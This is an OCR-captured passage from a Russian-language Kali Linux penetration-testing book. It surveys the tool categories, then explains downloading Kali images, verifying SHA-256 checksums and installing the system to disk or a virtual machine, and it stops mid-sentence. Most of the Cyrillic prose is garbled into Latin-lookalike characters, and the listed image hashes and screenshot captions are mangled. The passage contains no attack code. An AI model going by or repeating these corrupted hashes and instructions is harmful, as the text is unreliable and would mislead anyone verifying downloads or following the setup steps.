PUH COEPIKUTCST OY€Hb MOIIHBIH nHeTpyMeHT Maltego u nabop uncmpymernmos co-
yuanvnoi urcenepuu (SET). OHu MOTYT ObITH OUY€HD MOJIE3HBI Ha ATAIaX Pa3sBeIKH,
TEeCTUPOBAHUS HAa TPOHUKHOBEHNE U 3KCILTyaTalliu.

System services (CuctemHubie cepBuchl). [laHHAS KAaTErOPHUs UHCTPYMEHTOB BKJIIOUACT
HECKOJIBKO CEPBUCOB, KOTOPBIE MOTYT ObITh TI0JIE3HBI BO BPEMsI BBITIOTHEHUST 3a a4
TeCTUPOBaHK Ha IPOHUKHOBeHMe, Hanpumep Apache, MySQL, SSH u Metasploit.

Jlis yrpouieHust Ipoleaypbl TecTupoBanus Ha npoHukHoserue B Kali Linux

npepyCcMOTpeHa KaTeropys 110/ HazarueM Top 10 Security Tools (Tor-10 nncTpymenToB
6esomacuoctn). Kak ciaegyer us HazBanus, 9TO AeCATh HanboJIee 4aCTO UCIIOJIb3Y-
eMbIX MHCTPYMEHTOB (Ge30macHoCT. B 9Ty KaTeropuio BXOAAT TaKWe MHCTPYMEHTHI,
kak aircrackng, burp-suite, hydra, john, maltego, metasploit, nmap, sqlmap, wireshark
U Zaproxy.

B Kali Linux BbI Tak:ke Haiijiere HECKOJbKO UHCTPYMEHTOB, KOTOPbIE MOKHO UC-

TI0JIb30BaTh JIs1 CJIEIYIOTNX 1eseit.

a

a

Reverse engineering (MH:xenepHbIil ananus). B aToit KaTeropun cojieps;karcs cpeacTBa
JUIST OTJTAJIKY TIPOTPAMM U Pa3bOpKH UCOTHAEMOTro (aiia.

Stress testing (Ctpecc-TecT). TN WHCTPYMEHTHI TIPe/THA3HAYEHBI [IJIST CTPecc-TecTa
IIPOBOAHOI 1 GecrpoBoaHoii ceTn, Beb-cpenpl 1 VOIP (IP-renedonus).

Hardware hacking (Baiiom o6opyoBatust). IHCTPYMEHTBI HTON KaTETOPUH MCTIOIb3Y-
1oTest ipu pabore ¢ npusokerusimu Android u Arduino.

Forensics (CynebHas axcriepTisa). IIpeacraBieHHble 311eCh HHCTPYMEHTBI MOTYT
OBITH UCIIOJNb30BAHBI IS PA3JUIHBIX TH(PPOBBIX KPUMUHATUCTUYCCKUX 3a/1au.
OHU TO3BOJIAIOT CO3/aBaTh 00pasbl JUCKOB, IPOBOAMTDH aHAIN3 0OPA30B IMaMSATH
u BbIpe3aTh (aitnbl. OAHUM U3 JIYUNIUX KPUMUHATUCTUUYECKUX UHCTPYMEHTOB
Kali Linux siBsistercst Volatility. Ou yrpasisiercst u3 KOMaHIHON CTPOKU U MeET
pszn byHKIMIT 17t aHaM3a u3obpaskeHni, Haxoasuxes B mamsatu. B Kali Linux
€CTh M HECKOJIbKO TpauiecKnX MHCTPYMEHTOB, TaknX Kak Autopsy u Guymager,
a TaksKe ucrpasieHHbii xplico.

B aToi1 kHure MbI PaCCMOTPUM TOJIBKO MHCTPYMEHTDI TECTUPOBaHUA Ha TPOHUKHO-

BeHue.
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3arpy3ka Kali Linux

ITepen ycranoskoii u ucnosbzosanneM Kali Linux HysKHO 3arpysuth ee 06pas. Bbi Mo-
JKeTe ToIyunTh ero ¢ caiita Kali Linux (http://www.kali.org/downloads/).

Ha crpanuiie Downloads (3arpyski) MO;KHO BEIGpaTh odurmanbHbiii o6pas Kali Linux
Ha OCHOBE CJIIYIONNX a7eMeHToB (puc. 1.1).

Image Name Download | Size | Version sha256sum

Kali Linux Light HTTP | BETM 2018.4 adb3s8uf /6lad2dden 30 Seld3652bBeibadb2eBfEe8951861ed. Ibife

64 Bit Tarrant

Kali Linux Light HTTP | 630M 2018.4 AbAEIb 7 FEE5R741486b2c 3c9876333F6c 52211208540 2828d6 7 /F1899d 3e5dba

Armhf Tarrant

Kali Linux Light HTTP | B63M 2018.4 BB5H674TEA1d91b 7 1bd 25830 35 2ded 588ec] /dBed 7 bc 9 eed 345dad 35aceB3b1

32 Bit Tarrant

Kali Linux 64 Bit HTTP | 3.0G6 2018.4 7cbadbo319448cfedeelbesbsa93daBef 3068 7 dde 350 7896bAbbYC 22260 Bedd
Tarrant

Kali Linux 32 Bit HTTP | 316 2018.4 Tdes3cd 797d6 7 3db31a3 7 c36do IbabBfBadbbeflab2 7 7 cbedBbof1fc9d9be 291
Tarrant

Kali Linux Mate HTTP | 2.9G 2018.4 3eB459845828 MHedc2ba i 5add86o93d 7 d 7 ddeb IeBedsdas 10888 cofd 7287 FFb

64 Bit Tarrant

Kali Linux Kde HTTP | 3.0G6 2018.4 bafac293/lacaBbed28a8 /032282 80108418 76 Fd19152cab2 1 ceddededf fodo

64 Bit Tarrant

Kali Linux Xfce HTTP | 2.8G 2018.4 f2622872800f5Feb3Bbddea219eccdif 76/ dd2FFoad1b769bfoc3adfelfabbe?

64 Bit Tarrant

Kali Linux E17 HTTP | 2.8G 2018.4 b236b 7 7a7a5aFfeal2bsFbBlbes5ad 7538bebAlbe /12 /558 u8FERd fhef2bd

64 Bit Tarrant

Kali Linux Lxde HTTP | 2.8G 2018.4 Bl2achd 78F5 /Baact2S11b84%aas cbfabed2 fa28cibd 73 2e8b5d 799 Fal1Beabd

64 Bit Tarrant

Puc 1.1. ApxutekTypa MawuHbl: i386, x64 n armhf

O6paser st VMware, VirtualBox u Hyper-V takske MOKHO 3arpy3uTh CO CTPAHKIIbI
sarpysok Offensive Security, paciiosioskeHHOi 1o aapecy https://www.offensive-security.com/
kali-linux-vm-vmware-virtualbox-image-download/, kak mokasaso Ha puc. 1.2.
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Kall Linux VMware Images Kall Linux VirtualBox Images
‘ Image Name Torrent | Size ; Version | 5HAZ565um ‘
‘ Kali Linux Vm 64 Bit 7z Torrent | 2.5G | 2018.4 Tedc2 744 c S7bE24FF71dc20 ‘
|
|
Kali Linux Vm 32 Bit 7= lorrent 2.6 | 2018.4 bbedle/1Ws2d3 14+ /9 /Dbt y tabth ‘

Puc. 1.2. 31 daiinbl 06pa3oB AOCTYMHbI KaK MO NPSIMbIM CChbIIKaM, Tak ¥ B BUAE apXMBUPOBAHHbIX
balnoB, 3arpy>aeMbix C MOMOLLbIO TOPPEHTA

[TosnbzoBaresnb mosxet 3arpysuth ARM Kali Linux ¢ caiita mo aapecy https://
www.offensive-security.com/kali-linux-arm-images/. 31eCb MOKHO 3arpy3uTh 00pasbl s
takux ycrpoiicts, kak Chromebook, Raspberry Pi u T. a., IeJIKHYB Ha CTpeJIKe clipaBa
OT Ha3BaHUH yCTPOMNCTB.

Kali NetHunter v3.0 moskH0 3arpysuts ¢ caiita Offensive Security: https://www.offensive-
security.com/kali-linux-nethunter-download/ (puc. 1.3).

[ToapoGHee 0 BBIOOPE, YCTAHOBKE U WCIIOJB30BAHUK COOTBETCTBYIOIIEH BEpCUU
NetHunter Oyzer paccka3aHo B IIOCJAELYIOINX TIaBax.

%iﬂ;{%ﬁm Courses Certifications Online Labs Penetration Testing Projects Blog About m Q
LB 7 6 L0
Kali Linux NetHunter Downloads
Kali Linux for Android Mobile Devices

Home * Kali Linux MetHunter Downloads
Current NetHunter Release - v3.0 | NetHunter Documentation

Mexus 4 & 5 Android Phone Nexus 7 Mini Tablet Nexus 10 Tablet

Puc. 1.3. Crpanuua 3arpy3sku Kali Nethunter ang Linux

Yro6s1 3amncars 06pasz va DVD nan yeranosuts Kali Linux #a cBo# KOMTbIO-
Tep, 3arpysure Bepcuto ob6pasa ISO. Ecaiu ke BbI XOTHTE YCTAHOBUTD U UCIOJIB30-
Bath Kali Linux B BUpTyasbHOU cpejie Ha BUPTYaJbHOU MAIllMHE, TAKOU, HAIIPUMED,
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kak VirtualBox, VMWare uiu Hyper-V, Bosbmure (aiiibl 06pasos sl BAPTYaIbHbIX
mariH. C UX MOMOIIBIO YCTAHOBKA U HACTPOMKA BUPTYAJILHOI CpeIbl TIoeT ObIcTpee.
At 06pasbl JOCTYIHLI 110 ajipecy https://www.offensive-security.com/kali-linux-vm-vmware-
virtualbox-image-download/.

IMoce ycmentHoit 3arpys3kn (aiina HeoGX0AUMO CpaBHUTH Xetn-3Hadenne SHA 3a-
rpykeHHOro o6pasa co 3HaueHreM Xelra sha256sum, KOTOPbIil YKa3aH Ha CTPAHUIIE
sarpysku. 3Hauenue SHA-256 nposepsiercs, 4ToObl 130eKaTh yCTAHOBKH IOBPEKIEH-
HOTO WJIM TIOJZIETbHOTO 0Opasa.

B onepamnnonnoit cucteme UNIX/Linux/BSD nmis npoBepku xeni-3HaueHus
SHA-256 3arpyskentoro ¢aiisa o6pasa MCIOIb3yeTcss KoMaHia sha256sum. YuTure,
470 U3-3a 60JBbIIOTO pasmepa (daiina oOpasza Kali Linux ara onepaius MOXKeT 3aHATH
HeKoTopoe BpeMst. UTo6bI CreHeprpoBaTh Xel-3HaYeH s /715t 0Opa3a, HarpumMep, kali-
linux-2018.2-amd64.1iso, UCIOJb3YHTE CICAYIONLYI0 KOMAH/LY:

sha256sum kali-1linux-2018.2-amd64.iso
ITonbsosaresram Windows mrs [IPOBEPKU XeII-3HAYECHUS MOKHO BOCIIOJIb30BATHCSI

yTunTol o HassanueM MD5 & SHA checksum Utility. 9ToT nuHCTpYMeHT BbIYMCIsI-
er MD5, SHA-1, SHA-256, a taxke xenu aitioB SHA-512 u mo3BosisteT cpaBHUBAThH

U TIPOBEPSITH XEIIIN.

Yruwmary MD5 & SHA Checksum mokHO 3arpysuts 110 ajipecy https://download.cnet.com/
MD5-SHA-Checksum-Utility/3000-2092_4-10911445.html. I[Tocsie 3arpysku u 3arrycka HaKMUATE
KHOMKY Browse (O030p) 1 yKaxkuTe MyTh K 3arpyKeHHOMY (dailry. Mbr GyeM UCIoib-
30BaTh (haiiy kali-linux-2018.2-amd64.iso, Kak rmokasano Ha puc. 1.4.

Help  Check out Pro Version

Generate Hash

File: C:AUsers\AlexADownloads\Kali Linux 2018\kali-linuc-2018-4-amdG4-iso\kali-linwc-2018_4-an Browsc

MDS 1B2D588BB8D2003E6207C 1 189C0BA2FE Copy MDS
SHA-1 2DD849A4581DFES28B02250757A632721B6ET995 Copy SHA 1
SHA 256 FCB5D6A3 189118EFE1EE | BESBOAS3D18EF3068 7D E3FD07896B16B8C2226N0EDO Copy SHA-256

SHA-512 FDA498 S8GA2DCN 12N6NNR2N3RG25DCN0N5 1580 22NNC591ANIIT C74GCTSRS4234M1 11 | Copy SHA-512

Verify Hash with Generated Hash (MD5, SHA 1, SHA 256 or SHA 512)
Hash: Tc65d6a3 19413cfelee 1beSb5ad3d18cf30687d1c3f507896b16bBc2226a0cd0 Pasle

[ veaty |

Check out the Pro Version for More | eatures

Puc. 1.4. Ytunuta MD5 & SHA Checksum 3anyueHa

B nosie BBos1a Hash (Xetir) jijist ipoBepky G BCTaBJIe€H CKOIMUPOBAHHBIN CO CTPaHK-
el 3arpysku Kali Linux xernr daiiia kali-1inux-2018.2-amd64.iso.

Jltst cpaBrenust u mpoBepku xerra SHA-256 naskmure kHonky Verify (IIpoBeputs)
(puc. 1.5).
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I MDS & SHA Checksum Utility 2.1 [=[E] % ]

Help  Check out Pro Version

|| Generate Hash Matched “l
File: C:AUsers\Alex\Downloads\Kali MiHinuoc-2018.4-a1 Browsc

MDS 1B2D588BBBD2003E6207C11 @ SHA-256 Hash malched. Copy MDS
i SHA-1 2DD849M581D7E528302250] [ Copy SHA 1 ]
SHA 256 7C65D6A3 19118EFEAEE IBE51 IrzenuEm Copy SHA-256
SHA-512 rmwsmmr:m:m‘i ‘L, Fﬁmﬂmmm Cupy SHA-512
Verify Hash with Generated Hash (MD5, SHA 1, SHA 256 or SHA 512)
Hash:  7C65D6A318118EFE1EE |BESBSAS3D18EF30687DE3F507896B16B9C2226A0ED0 Paste
Varify

Check out the Pro Version for More | eatures

% — — ——— —

Puc. 1.5. CosnaaeHue xewweit SHA-256

Ecim 06a 3HaYEHUs COBITAIAIOT, MOXKHO Ccpasy Tepeiitu K pasjeny «HaunHaem pa-
6orarb ¢ Kali Linux». Ecim ke 3HadeHus He COBIALAIOT, TO (aiis oOpasa MOBPEKIEH.
B atom ciyuae 3arpysure moBTOpHO (haiis 06pasa ¢ 0pUIMATBHOTO 3epKajia 3arpy3Ku
1 CHOBA I1IPOBEPLTE KOHTPOJIbHBIEC CYMMBI.

HaunHaem paboTtaTth ¢ Kali Linux

Yro6sl HauaTh paboraTh ¢ Kali Linux, onepainoHHy0 cUCTEMY HYKHO YCTaHOBUTH Ha
JKECTKUH JIMCK KOMITBIOTEPA MJIN 3aITyCTUTD C 3arpy304HOTO JcKa. J[Jist aToro Bbl MoskeTe
Bocnosb3oBarbea Kali Linux ogHuM us caeayomux crnocobos:

Q sanycrurs Kali Linux HemocpencTBeHHO ¢ 3arpy3ounoro aucka Live DVD;
O ycTaHOBUTD HA )KECTKUH JAMCK KOMIILIOTEPA;
O ycraHosuth Ha USB (mopratusnas Kali Linux).

[[aJlee MbI paCCKa’Xe€M O KaK/I0M crocobe YCTAaHOBKH U 3alTyCKa.

3anyck Kali Linux c Live DVD

Ecsi BBl He xesaere yeraHapauBath Kali Linux Ha sKeCTKUI AUCK KOMITBIOTEPA, 3aITH-
mmre aiin obpasza ISO va DVD. Ioce Toro kak ISO-06pas oneparmoHHON CUCTEMbI
OyJeT 3alicaH Ha JIKUCK, €r0 MOYKHO HCIOJIb30BaTh JIJIsT 3aITyCKa Balllero KOMIIbIoTepa.
Jlst sarpysku Komibiorepa ¢ DVD HyskHO yoeaurbest, uto B BIOS BbiOpaHa ciieyonast
04Yepe/IHOCTD 3arpy3Ky: CHavasIa KOMIIBIOTEp UIIET 3arpy304uHblii cekTop Ha DVD, a Tosb-
Ko 1ocJie atoro (ecam DVD He BcTaBjien uim Ha HeEM OTCYTCTBYET 3arPY304HbI CEKTOP)
obpaliaeTcst K 3arpy304HOMY CEKTOPY sKecTkoro aucka. [Tpenmymecto Kali Linux
Live DVD mepez ocTaJbHBIME CIIOCOOAMU 3arPY3KHU B TOM, UTO 3aITyCKATh KOMITBIOTED
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¢ Live DVD ouenb npocto. Kpome Toro, He oTpedyercs BhIAEAATh Ha JKECTKOM JAUCKe
MEeCTO IO/l YCTAHOBKY 3TOH OMEepPaIIOHHON CHCTEMBI.

OpHAKO B TAaKOM CIOCO0E 3allyCKa KOMITLIOTEPA €CTh U HeJocTaTKu. Harpumep, Bbl
He CMOKETe COXPAHUTb U3MEHEeHNs KOH(MUTYPAIK, U [T0CJIe TIepe3arpy3Ky Bce HaCTPOii-
k1 OyayT yrepsiabl. Kpome Toro, CKopocTh 3arpysku KoMibioTepa ¢ Live DVD ycrymaer
CKOPOCTH 3arPy3KH KOMITBIOTEPA € JKECTKOTO JICKA. DTO OOBSICHSIIETCS TEM, 4TO CKOPOCTh
yrenuss DVD mensiennee, ueM CKOPOCTb YTEHUS JKECTKOTO JIMCKA.

3armyck onepanuoHHoii cuctembl ¢ Live DVD pekomenmyercss TpuMeHSITh TOJBKO
muist rectupoBanust Kali Linux. Eciiu ske BbI jkestaete pabotaTh ¢ 9TOU OMeparinoHHON
cucTeMoii Goslee MHTEHCUBHO, peKOMeHIyeM BaM ycraHoBuTh Kali Linux Ha skecTKuit
JIFICK KOMTIBIOTEpa.

YCTaHOBKaA Ha »XECTKUM OUNCK

VYeranosuts Kali Linux Ha sKeCTKUI AUCK MOKHO JABYMsI CIIOCOOAMHU:

Q ycTaHOBUTH HEMOCPEACTBEHHO HA JKECTKUII AUCK Ballero KoMibioTepa (00buHas
YCTaHOBKA);

a YCTaHOBUTDH Ha BUPTYAJIbHYIO MAallIUHY.

Bbi MOkeTe BOCIIOJIB30BATHCS JIOOBIM MOIXO/SIINM JIJIs Bac criocoboM. Ml ke pa-
6orasu ¢ Kali Linux, ycTanHoBIeHHON Ha BUPTYATbHYIO MATITIHY.

O6blyHas ycTaHoBKa

Jlist 06b1uHOI yeranoku Kali Linux Ha KoMITbIoTep BaM OTpeOyeTcs YUCTBIN JKEeCTKUI
JIICK WJIM YKMCTBIN paszesl Ha sKeCTKOM AKcKe pasmepoM He Meree 100 I'aiir. Yurure:
€CJIM Ha ATOM JIUCKe XPAHUJINCh KAaKUe-TO JIAHHbBIE, TO OHU Y1y T YHUYTOKEHBI B TIPOLIEC-
ce yCTAaHOBKH, TaK KaK YCTaHOBIIMK O0T(HOpPMaTUpyeT Bechb AUCK. Mbl peKOMeH/IyeM 11pu
0OBIYHON yCTaHOBKE MCTIOIB30BaTh Bech xkecTkuit muck. Ecom Kali Linux ycramnasmBa-
€TCs B KauecTBe JI0TI0JHUTEIbHON OTIePAIMOHHOM CUCTEMBbI, Bbl MOKETE YCTAHOBUTD €€
B JIOTHUYECKHIT pas/iest JKeCTKOTO AncKa. JIJist 9TOTo Balll JKeCTKHUIT IMCK CIeyeT pasouTh
Ha OCHOBHOM pasjiesi, B KOTOPOM HaXOJIUTCST OCHOBHAS OTIePAIlMOHHAS CUCTEMA, HATTPU-
mep Windows, u nornveckuii pasgen aasg Kali Linux. Ecau na Baniem Komiblotepe
Gy/IyT yCTAHOBJICHBI IBE OTIEPAIIMOHHBIE CHCTEMBI, TO TIPU KasKIOM 3aITyCKE MAITHHbI
BaM C TIOMOIIIBIO 3arPy3unKa HY;KHO Oy/IeT BBIOUPATh, KAKYIO OMEPAIIMOHHYI0 CUCTEMY
3arpy:Katb [IJId TeKyIlel cecCum. YUTUTe: Jess KeCTKUH A1MCK Ha OCHOBHOU U JloTHuye-
CKUI pasiesibl, Bbl MOKeTe IOBPEAUTb OCHOBHYIO OlIePallMOHHYIO CUCTEMY U BCe JaHHbIE,
KOTOPBIE XPAHWJINCDH HA BallleM KOMITbIoTepe. byibre ocTOpOoKHbI!

OdvumanbHas aokyMeHTaumst no ycraHoBke Kali Linux Ha »ecTkuid anck
C paHee YCTaHOBMIEHHOI onepaunoHHon cuctemort Windows HaxoauTcs no
agpecy http://docs.kali.org/installation/dual-boot-kali-with-windows.
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EcTh HECKOIBKO MTPOTPAMM, KOTOPBIE BBl MOJKETE 3a/[€fICTBOBATD JI/Is Pa3OUBKU
JKECTKOTO IUcKa Ha pasjiesibl. [l 9TOro Bbl MOKETe BOCIIOIb30BaTLCA CJIELYIONUMU
Linux-3arpysouHbIMu KOMIAKT-/[MCKaMU:

O SystemRescueCD (http://www.sysresccd.org/);
O GParted Live (http://gparted.sourceforge.net/livecd.php);
O Kali Linux (http://www.kali.org).

s pasbuBku Ha pasielibl ¢ noMolnbio Linux Live CD sarpysure KoMubioTep
€ 3TOTO0 KOMHIaKT-AucKa. Jlasee Bbl MOKeTe IPUCTYIIATD K JIeJIEHUIO JKECTKOTO IUCKA.
Ho cnauasia BeiniosiHUTE pe3epBHOE KOIMMPOBAaHKE JaHHbIX!

Kora sectiuii giuck Gyzier pasjiesier (MM eCJIv Bbl PENTHIIN UCIIOIb30BATh /IS yCTa-
HOBKH BCe TIPOCTPAHCTBO JKECTKOTO /INCKA), MOSKHO TIPUCTYTIATh K YCTAHOBKE OTTEPAINOH-
HOU CUCTeMBI. 3arpys3uTre MallliHy ¢ CO3/IaHHOTO BaMu paHee 3arpysouHoro aucka (Kali
Linux Live DVD) u B osIBUBIIEMCS 3aTPYy304HOM MEHIO BBIOEPUTE OMH U3 BAPUAHTOB:
Install (Y cranoBka) nim Grafical install (I'padgmaeckast ycranoska) (puc. 1.6).

KAL

“the quicter you become, the more you are able to hear”

Boot menu

(amd64)

(amdb4 failsafe)

(forensic mode)

USB Persistence (check kali.org- prst)

USB Encrypted Persistence (check kali.org/prst)
tall

Install with SpEEEh Sgnthesis
Advanced options

Puc. 1.6. 3arpy3ouHoe MeHto Kali Linux — BbibpaH BapuaHT Grafical install (Fpaduyeckas ycraHoBka)

[Tocsie BoiGOpa BapuanTa Install (Ycranoska) wiu Grafical install (Tpacduueckast ycra-
HOBKA) Ha 9KpaHe MOSIBUTCS TTEPBOE OKHO YCTAHOBKU OIIEPAIIMOHHON cucTeMBbl. B mmpo-
1lecce YCTAaHOBKH BaM MOTPeGYeTCsI HACTPOUTD CIIEAYIOTIIE TapaMeTPBI.

1. Set Language (Boi6op si3bika). Boibepure sS3bIK 13 ciMcKa. ABTOMaTHYECKU BBIOUpa-
€TCsT aHTJIMHCKWH SI3bIK.
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Selection Location (Bei6op mecra pacrosiosxkenust). Beibepure cTpany us packpbiBa-
IOIIErocst CIMCKA.

Configure the Keyboard (Kondurypaius knasuarypbl). Boibepure skemaeMyio pac-
KJIQJIKy KJIaBUATYPBL.

Host Name for the system (VMg xocTa mis cucteMbl). ViMs xocTa HEOOGX0AUMO IS
OIIO3HABAHM: Balllero KOMIIbIOTEPA B JIOKAJIbHOM ceTu. 110 yMOI4aHnIo BEIOUpaeTCs
Kali. 9T0 mM4 BbI MOKETE OCTABUTH O€3 N3MEHEHUIA.

Set the Domain (HacTpotika nomena). /lomen ncnomp3yeTcst, eci KOMIIbIOTEP MO/~
KJIIOYEH K ZIoMeHHO ceTr. [losie BBOzIa IMeHM I0OMeHa MOKHO He 3aTI0THSTh.

Set Password (HacTpoiika nmapoJist). ITo napoJsib y4eTHON 3aIicu a[IMUHUCTPATOPA.
ITaposs MoKeH OBITH CTOKHBIM 1 XOPOTIIO 3arroMuHaeMbiM. ETo cienyeT mepskath
B cekpere 1 He 3a6bIBaTh.

Configure the clock (HacTpoiika cucremHoro Bpemenn). Boibepure Bain 4acoBoii
mosic.

Partition Disk (Paszen aucka). IIporpaMma yCcTaHOBKM ITOMOJKET BaM PasOUTh JUCK
Ha paszesibl. s MCIIOIb30BaHUs BCErO IIPOCTPAHCTBA KECTKOIO ANCKA BhIOEpUTE
BapuanT Use entire disk option (Vcrnosib3oBaTh Bech auck). Ecin ske Ha KoMIThbIOTEpE
yCTaHOBJIEHA ellle OJ[Ha OllepallMoHHas cucreMa, s yeraHosku Kali Linux caempy-
€T co3/1aTh OT/eAbHbIN paszen. [Janee BoiOepUTE HTOT Pasies U3 CIIMCKA Pas/ie/ioB
BpyuHyl0. Pasnesn Oymer co3iaH yCTaHOBIIMKOM B XOjle HajbHelileil ycTaHOBKY
OTIePAIIMOHHON CHCTEMBI.

Jlasiee iporpaMma yCTaHOBKH CIIPOCUT Bac O pa3Merke paszeia. I1o ymosuanuio Oy-
JIET UCII0JIb30BaH Bech paszes. O6parure BHuManue: Bee (paiiibl ObL10 Obl HEILIOXO
XPaHUTh B OTJEJTHHOM, JJOMAITHEM KATAJIOTe, TOITOMY JIJISI HETO JKeJIATEThHO CO3-
JIaTh OT/IEJIbHBIN pa3zies /home. B aToM cirydae ipu repeycTaHOBKe OTiepalliOHHOM
cucreMbl Bamy daiiibl He OyayT yaanensl. Boibop pasmepa paszesia /home 3aBUCUT
TOJILKO OT BaluX 1oTpebHocTeil. YToObl B 9TOM paszesie CMOIIN IIOMECTUTHCS BCE
Ban ¢aiiabl, Boibepure 3Hadenne He Menee 50 ['6aiit. /{1 0ObIYHBIX 3314 WU
1pu eUINTE MECTA HA JKECTKOM JMCKE MOKETEe OrPaHUYUThH Pa3Mep IOMAITHETO
karajiora 10—20 T'6aiir.

HaunHarommM MoJib30BaTe/IsiM Mbl PEKOMEHIyeM BbIOpaTh BapuaHT Use entire disk
option (Mcmosb3oBath BeCh ANUCK). 3aTeM BbIOEpPHUTE AUCK, HA KOTOPBIN Bbl XOTUTE
ycranosuth Kali Linux. Bei6epure mynxr All files (Bce daiiibl) B oaHOM paszee.

TMocste Toro Kak paszesibl OyyT BIOPAHBI, IPOrPAMMa YCTAHOBKU TIOKAKET CIIUCOK
HaCcTPoeHHbIX paszenos (puc. 1.7).

Yoéenurecs, uTo nepexouaresb Write the changes to disks? (3amucarh U3MeHeHUsT Ha
JIMCK?) ycranosJieH B noJioskenre Yes (Jla), u naxxmure kuornky Continue (ITpomos-
&uTh). Pazmerka Oy/ieT 3aBepiiieHa, a U3MEHEHMs — 3aliCaHbl Ha JIHCK.

Network Mirror (CeTeBoe 3epkaso). HaunmHaonmmm 1moab30BaTesrsiM PeKOMEH/IYeTCs
BbiOpatb No (Her).
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Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

The partition tables of the following devices are changed:
SCSI2{0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of 5CSI3 {0,0,0) (sda) as ext4
partition #5 of SC513 (0,0,0) {sda) as swap

Write the changes to disks?

Puc. 1.7. O630p pa3genos

Jajiee mporpaMMa Ha4HET YCTaHOBKY ollepanoHHoii cuctembl Kali Linux Ha skect-
KU MCK. JTa mpollelypa 3aiiMeT HEKOTOPOe BpeMsi, B 3aBUCUMOCTH OT XapaKTePUCTUK
BaIero Komibiorepa. Ha TecToBOll MalmmHe porece yCTaHOBKY 3aHs1 20 MUHYT.

I[Tocsie TOTO Kak olepalioHHast cucteMa OyIeT yCTaHOBJIEHA Ha JKeCTKUIN AUCK KOM-
[ILIOTEPA, [IPOrpaMMa YCTAaHOBKH IIOIIPOCUT BaC HACTPOUTDH JUCIIeTYep MaKeTOB. 3aTeM
YCTAHOBIIUK TPEJJIOKUT 110 yMOJYaHuio ycTanoBuTh 3arpy3uuk GRUB B ruiaBnyio
3arpysounyio samch (MBR). Ecin Ha Bamem xommbiorepe Kali Linux ycranasimsa-
eTcst Kak eduncmeennas onepaluoHHasi CUCTEMa, BhIOEpUTe 3HAUEHNUSI, TIPe/ljTaracMble
o ymosryanuio. Q6paTure BHUMaHHE: eCJIU HA Balleil MalHe YCTaHOBJIEHA €ITle O/[HA
oneparmontas cucrema, 3arpy3unk GRUB ycranaBiuBaTh B riiaBHyio 3arpy304HyIio
3amch (MBR) nesnp3sg! Mnave ycraHoBIeHHAs paHee OllepalliOHHAs CUCTEMa Tiepe-
CTaHeT 3arpy’KaThCsl.

ITo OKOHYAHUK YCTAHOBKHU BBl YBUAUTE Ha HKPAHE COOBIIEHIE O TOM, YTO YCTAHOBKA
Kali Linux 3aBepiena (puc. 1.8).

Il mepsoro 3anycka Kali Linux nepesarpysure KoMIIbIoTep, HaskaB KHOIIKY Continue
(3aBepimth). TTocse nepesamycka Bbl yBuanTe skpa xojaa B Kali Linux. /s Bxoga
B CUCTEMY UCIIOJIb3YiiTe JJaHHble, BBeJleHHbIe IIpu ycTaHoBke. [o ymMosrdanuio nms 1oJib-
30BaTeJis 1 apoJib — root (puc. 1.9, 1.10).
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Finish the installation

Instalialion complete
Installation Is complete, so it Is time to boot Into your new system. Make sure to remove the |

installation media, so that you boot into the new system rather than restarting the installation.

Screenshal [ Go Rack ” Conlinue ]

Puc. 1.8. CoobuieHre 06 0OKOHYaHUWN YCTaHOBKM

Username:

root]

Puc. 1.9. o ymonyaHuio nMs nonb3osaTenst — root

Password:

Cancel

Puc. 1.10. lNo ymonyaHuto naponb — root
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YcTtaHoBka Kali Ha BUpTYyasnbHyO0 MalLuHy

Kali Linux MOKHO yCTaHOBUTD 1 Ha BUPTYAJIbHYIO MAIIUHY KAK TOCTEBYIO OMEPAIIHOHHY IO
cucremy. [Ipenmyiectsa ycranosku OC Ha BUPTYaTbHYIO MAIITHY B TOM, YTO BaM HE HY K-
HO TOTOBUTH OT/ICTBHBIIN PasfiesT Ha JKEeCTKOM JIFICKe Balllero KOMIboTepa. BupryarpHas
MallTHA YCTAHABINBAETCST B OCHOBHOM OMEPAIIMOHHOM cUcTeMe Kak 0OBIYHAs TIPOTPaMMA.
A Kali Linux ycranap/iBaeTcst B KadeCcTBe FOCTEBON CHCTEMBbI YiKe Ha 9Ty BUPTYAJIbHYIO
Mmarmuny. IIpu atom ocHoaas OC He ToziBepraeTcss HUKaKoi OMaCHOCTH.

Mbl BOCNOSb3yeMCs BUPTyanbHOM MalwmHol VirtualBox (http://www.virtual-
box.org). VirtualBox — 3T0 nporpamMma BUpTyanusaumm C OTKPbITbIM UC-
XO4HbIM KOAOM. [MporpamMma MoxeT paboTaTb C TakMMK OnepaumoHHbIMU
cucteMmamm, kak Windows, Linux, OS X n Solaris.

K coxkanenuio, yctTaHOBKa ONE€PAllMOHHON CUCTEMBI HA BUPTYAJIbHYIO MAIIMHY
He JINIeHa HeoCTaTKOB. U rilaBHBIN U3 HUX — HU3Kas (110 CPAaBHEHUIO ¢ OOBIYHON
YCTaHOBKOMW Ha JKECTKUH ANCK KOMITHIOTEPA) CKOPOCTH PAOOTHL. ITO 0ODBICHSIETCS TEM,
YTO BCE PECypPChl KOMIIBIOTEPaA JeJIATCS MEK/y OCHOBHOI U TOCTEBOI OllepalliOHHBIMU
CHUCTEMaMHU.

CymecTByeT /1Ba BapHaHTa YCTAHOBKU OIEPAIIIOHHON CHCTeMBI Ha BUPTYAJIbHYIO
mammumy. [lepsorit Bapuant — ycranoska Kali Linux ¢ ISO-06pasa, 3ammcanioro ma
DVD wujiu coxpaHeHHOI0 Ha »KeCTKOM AUCKe KOMIIbIoTepa. YcraHoBka ¢ ISO-o6pasa
3aiimMeT 60JIblle BpeMeHH 110 CPaBHEHMIO ¢ yCTaHOBKOM oOpasa VMware. Ho BbI cMozkeTe
CaMOCTOSITENTHHO BHIOPATH HEOOXOMMMBIE TTAPAMETPHI YCTAHOBK.

YcraHoBka Kali Ha BupTyanbHyto MawmnHy ¢ ISO-obpasa

Jlna yeranosku Kali Linux ma Buptyanpiyto mamuny ¢ [ISO-o6pasa BimonHuTe cie-
Ayrolue JIeHCcTBUsI.

1. Co3spaiiTe HOBYIO BUPTYaJIbHYIO MAIIMHY, HasKaB Ha TTaHe M HHCTPYMEHTOB KHOIIKY
New (Cosnatp) (puc. 1.11).

2. ajee ciesyer BBECTH MMs CO3/IaBaeMOil BUPTYATbHON MAIIIUHbI, 8 TAKKe BHIOPATh
TUII ¥ BEPCUIO OIIePAllMOHHON cucTeMbl. MBI IpejjiaraeM Ha3BaTh CO3/1aBacMyIo
